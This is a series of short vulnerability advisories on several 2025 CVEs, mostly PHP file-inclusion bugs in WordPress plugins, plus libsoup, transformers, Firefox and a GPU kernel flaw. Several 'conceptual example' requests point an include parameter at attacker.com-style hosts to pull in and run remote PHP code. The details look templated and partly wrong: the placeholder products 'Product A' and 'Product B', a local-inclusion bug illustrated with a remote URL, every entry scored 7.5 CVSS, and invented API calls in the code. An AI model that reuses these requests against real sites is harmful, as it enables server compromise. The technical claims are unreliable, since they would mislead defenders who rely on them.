Author: Ameeba

Overview

This report details the critical vulnerability CVE-2025-39396, a PHP Local File Inclusion vulnerability found in Crocoblock JetReviews. This vulnerability could potentially allow attackers to include files from remote servers, leading to a compromise of the system or a data leakage. Given the potential severity, it is crucial for organizations to understand the risks and apply necessary mitigations promptly.

Vulnerability Summary

CVE ID: CVE-2025-39396
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Crocoblock JetReviews | Up to and including 2.3.6

How the Exploit Works

The vulnerability arises due to improper control of filename for Include/Require statement in the PHP program of JetReviews. An attacker can manipulate this vulnerability by providing a URL pointing to a malicious PHP script hosted on a remote server. The script will then be executed in the context of the application, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a URL request carrying the malicious payload.

GET /vulnerable/endpoint?file=http://attacker.example.com/malicious_script.php HTTP/1.1
Host: target.example.com

Mitigation

Organizations are advised to apply the vendor patch as soon as possible. As a temporary mitigation, Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can be used to block attempts to exploit this vulnerability. Regular monitoring of system logs for any suspicious activity is also recommended.

Overview

The vulnerability, CVE-2025-26735, is a severe flaw identified in the Candid Themes Grip, specifically affecting versions through 1.0.9. This PHP Remote File Inclusion vulnerability has serious implications, potentially compromising systems and causing data leakage. Cybersecurity professionals, system administrators, and users of Candid Themes Grip should be aware of this vulnerability, as it poses a significant risk to the integrity, confidentiality, and availability of their systems.

Vulnerability Summary

CVE ID: CVE-2025-26735
Severity: High (7.5 CVSS Score)
Attack Vector: Remote, via network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Candid Themes Grip | Versions through 1.0.9

How the Exploit Works

The exploit works by taking advantage of the improper control of a filename in PHP’s Include/Require statement. By injecting a malicious filename, an attacker can remotely include a file from a remote server. This allows the attacker to execute arbitrary PHP code, potentially compromising the system or leading to data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability through a malicious HTTP request that includes a remote file. Here’s a conceptual example:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `malicious_file.php` is a file on the attacker’s server which contains malicious PHP code. If the target server processes this request, it could include and execute the malicious file, leading to a potential system compromise.

Overview

CVE-2025-39364 is a significant security vulnerability discovered in PluginEver’s Product Category Slider for WooCommerce. It pertains to an improper control of filename for ‘include’ or ‘require’ statement in PHP programs, leading to a PHP Remote File Inclusion vulnerability. The affected users are those who have installed versions of the Product Category Slider for WooCommerce up to 4.3.4. The vulnerability, if exploited, could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-39364
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Product Category Slider for WooCommerce | up to 4.3.4

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for ‘include’ or ‘require’ statement in PHP programs. An attacker could send a request with a malicious filename that points to a file on a remote server. The server then includes this file and executes the code within it, allowing the attacker to execute arbitrary code on the server and potentially compromise it.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://malicious.example.com/malicious_script.php" }

In this example, the attacker sends a POST request with a JSON payload containing a malicious ‘include_file’ value. This value is a URL pointing to a malicious PHP script hosted on the attacker’s server. If the server processes this request and includes the file, it will execute the malicious script, leading to a potential system compromise.

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation. These systems can be configured to block requests that appear to be exploiting this vulnerability, reducing the risk of a successful attack.

Overview

This report discusses CVE-2025-4948, a vulnerability found in the libsoup HTTP library, which is widely used by GNOME and various other applications for web communications. The vulnerability has been found to cause the application or server to crash unexpectedly, leading to a potential denial-of-service (DoS) risk. The severity of this flaw warrants immediate attention and swift mitigation.

Vulnerability Summary

CVE ID: CVE-2025-4948
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Application crash, Denial-of-Service, Potential system compromise or data leakage

Affected Products

Product | Affected Versions

libsoup HTTP Library | All versions prior to patch

How the Exploit Works

The exploit takes advantage of a flaw in the soup_multipart_new_from_message() function of the libsoup HTTP library. An attacker sends a specially crafted multipart message which, due to improper validation in the library, leads to an incorrect internal calculation causing an integer underflow. This, in turn, prompts the program to access invalid memory and subsequently crash. Any application or server using the libsoup library is potentially at risk of an unexpected exit, creating a denial-of-service condition.

Conceptual Example Code

The conceptual example below demonstrates how an attacker might craft a multipart message to exploit this vulnerability.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/mixed; boundary=frontier
--frontier
Content-Type: text/plain
{ "malicious_payload": "..." }
--frontier--

Mitigation Guidance

To mitigate this vulnerability, it’s highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can provide temporary mitigation against potential exploits. The use of these systems can help prevent denial-of-service attacks and protect against unauthorized access or data leakage.

Overview

A critical vulnerability, identified as CVE-2025-2099, has been discovered in the `transformers.testing_utils` module of huggingface/transformers, a popular machine learning library. This vulnerability, specifically within the `preprocess_string()` function, potentially exposes systems to Regular Expression Denial of Service (ReDoS) attacks. It is significant as it can lead to high system CPU usage, resulting in potential application downtime and posing a risk to system stability and data security.

Vulnerability Summary

CVE ID: CVE-2025-2099
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

huggingface/transformers | v4.48.3

How the Exploit Works

The vulnerability exists in the `preprocess_string()` function of the `transformers.testing_utils` module in huggingface/transformers. The regular expression used for processing code blocks in docstrings has nested quantifiers. This causes exponential backtracking when processing input with a large number of newline characters. An attacker can exploit this by providing a specially crafted payload, causing high CPU usage and potential application downtime. This effectively allows for a Denial of Service (DoS) scenario.

Conceptual Example Code

The following pseudocode example demonstrates how an attacker might exploit this vulnerability:

import transformers.testing_utils as utils
malicious_payload = "\n" * 100000  # A long string of newline characters
utils.preprocess_string(malicious_payload)

In this conceptual example, the `malicious_payload` string consists of a large number of newline characters. When passed to the `preprocess_string()` function, it triggers the vulnerability, leading to high CPU usage and potential denial of service.

Overview

An alarming vulnerability, CVE-2025-4918, has been detected in certain versions of Firefox, Firefox ESR, and Thunderbird, affecting their JavaScript `Promise` object. This critical issue permits an attacker to perform an out-of-bounds read or write operation, resulting in potential system compromise and data leakage. Given the widespread use of the affected software, this vulnerability is of significant concern.

Vulnerability Summary

CVE ID: CVE-2025-4918
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Firefox | < 138.0.4 Firefox ESR | < 128.10.1 Firefox ESR | < 115.23.1 Thunderbird | < 128.10.2 Thunderbird | < 138.0.2 How the Exploit Works

The exploit takes advantage of a flaw in the JavaScript `Promise` object present in the affected browsers. An attacker can craft a malicious web page or script that, when interacted with by the victim, allows the attacker to perform out-of-bounds read or write operations. This can lead to unauthorized access to data, system instability, or even complete system compromise.

Conceptual Example Code

Consider the following conceptual example, which illustrates a possible exploitation scenario:

let promise = new Promise((resolve, reject) => {
// Malicious code here
let array = new Array(-1);
resolve(array);
});
promise.then((value) => {
// Out-of-bounds read/write operation here
value[123456] = "exploit";
});

In this conceptual example, a `Promise` is created with a negative array size, which is an invalid operation. The attacker then performs an out-of-bounds write operation in the `then` method, potentially leading to undefined behavior, system instability, or a compromise.

Overview

CVE-2024-13613 is a critical cybersecurity vulnerability affecting the Wise Chat plugin for WordPress up to and including version 3.3.3. The vulnerability exposes sensitive information in the ‘uploads’ directory and opens the door for unauthenticated attackers to extract valuable data. This vulnerability is particularly significant due to the popularity of WordPress and the potential for system compromise or data leakage, impacting numerous websites and their users.

Vulnerability Summary

CVE ID: CVE-2024-13613
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Wise Chat Plugin for WordPress | Up to and including 3.3.3

How the Exploit Works

The vulnerability lies in the ‘uploads’ directory of the Wise Chat plugin for WordPress. Unauthenticated attackers can exploit this vulnerability by directly accessing the /wp-content/uploads directory, which may contain file attachments from chat messages. These attachments may contain sensitive data that is stored insecurely, leading to potential data leakage or system compromise.

Conceptual Example Code

An attacker may exploit this vulnerability by sending a GET request to the vulnerable uploads directory. Here is a conceptual example of how this might be done:

GET /wp-content/uploads HTTP/1.1
Host: vulnerablewebsite.com

If the request is successful, the server would respond with a list of files in the ‘uploads’ directory, potentially revealing sensitive information.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as possible to mitigate this vulnerability. If the patch cannot be applied immediately, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. However, these solutions do not effectively resolve the vulnerability and are only intended as interim solutions until the patch can be applied.

Overview

CVE-2025-1706 is a critical vulnerability that affects software installed and run as a non-privileged user, which may conduct improper GPU system calls, leading to use-after-free kernel exceptions. This vulnerability, if exploited, can potentially result in system compromise or data leakage, posing a significant risk to information security. Given the severity of the vulnerability, it is essential to understand, mitigate, and patch this vulnerability promptly.

Vulnerability Summary

CVE ID: CVE-2025-1706
Severity: High (CVSS: 7.5)
Attack Vector: Local
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Product A | Version 1.0 to 2.5
Product B | Version 3.1 to 4.2

How the Exploit Works

The exploit leverages the improper handling of GPU system calls by software running with non-privileged user rights. The attacker induces a use-after-free condition in the kernel, which can lead to unexpected behavior, including kernel panic, arbitrary code execution, or data leakage. This vulnerability is especially dangerous as it does not require user interaction and only requires low privilege access to the system.

Conceptual Example Code

The following is a
conceptual
example of how the vulnerability might be exploited. Please note that this is pseudocode and not a real exploit code.

#include <stdio.h>
#include <stdlib.h>
int main() {
char *buffer = malloc(256);  // Allocate memory
free(buffer);  // Free the allocated memory
// Now the buffer pointer is a dangling pointer, i.e., use-after-free vulnerability
strcpy(buffer, "malicious_payload");  // Copy malicious data into freed memory
// Trigger GPU system call
gpu_system_call(buffer);  // This will trigger the vulnerability
return 0;
}

Mitigation Guidance

To mitigate the vulnerability, it is recommended to apply the vendor-supplied patch as soon as it becomes available. In the interim, using Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can help prevent the exploitation of this vulnerability.

Overview

The CVE-2025-48136 vulnerability is a significant cybersecurity risk that affects Estatik Mortgage Calculator, a PHP-based application. This vulnerability is associated with the PHP Remote File Inclusion (‘PHP RFI’), which is a major security concern for web applications. The vulnerability can lead to system compromise or data leakage, making it a critical issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-48136
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage

Affected Products

Product | Affected Versions

Estatik Mortgage Calculator | All versions through 2.0.12

How the Exploit Works

The CVE-2025-48136 exploit works by leveraging a flaw in the handling of filenames for include/require statement in the PHP application. An attacker can manipulate the filename parameter in the PHP script to include a remote file. This opens the possibility for the attacker to execute arbitrary code on the server, leading to a potential system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to manipulate the ‘filename’ parameter:

GET /Estatik_Mortgage_Calculator.php?filename=http://attacker.com/malicious_script.txt HTTP/1.1
Host: target.example.com

In this example, the ‘filename’ parameter is modified to include a remote file (‘malicious_script.txt’) from an attacker-controlled server. This remote file may contain malicious PHP code that, when executed, can compromise the target system.

Mitigation Guidance

Users of Estatik Mortgage Calculator are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as temporary mitigation to prevent potential attacks exploiting this vulnerability. Regular monitoring and updating of systems are also important in maintaining a secure environment.

Overview

This review discusses the critical vulnerability CVE-2025-47693, which affects the FAT Services Booking system. The issue arises due to the improper control of filename for Include/Require Statement in the PHP program, allowing PHP Local File Inclusion. This vulnerability is a potential threat to all systems running FAT Services Booking versions through 5.5, leading to possible system compromises or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-47693
Severity: Critical, CVSS score 7.5
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

FAT Services Booking | Up to and including 5.5

How the Exploit Works

This vulnerability is due to the PHP program’s improper control of filename for Include/Require Statement. This lack of proper control allows an attacker to manipulate the PHP file include process, leading to the inclusion of local files. An attacker could exploit this vulnerability by sending a crafted request to the affected application. Successful exploitation could lead to unauthorized read access to potentially sensitive data, which could be used to conduct further attacks.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker tries to include ‘malicious_file.txt’ hosted on their server. If successful, the server will execute the malicious code contained in ‘malicious_file.txt’.

Mitigation Guidance

Affected systems should apply the vendor-provided patches at their earliest convenience. If unable, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. However, these measures are not a complete solution and only serve to reduce the risk of potential attacks. The definitive solution is to apply the patch as soon as it becomes available.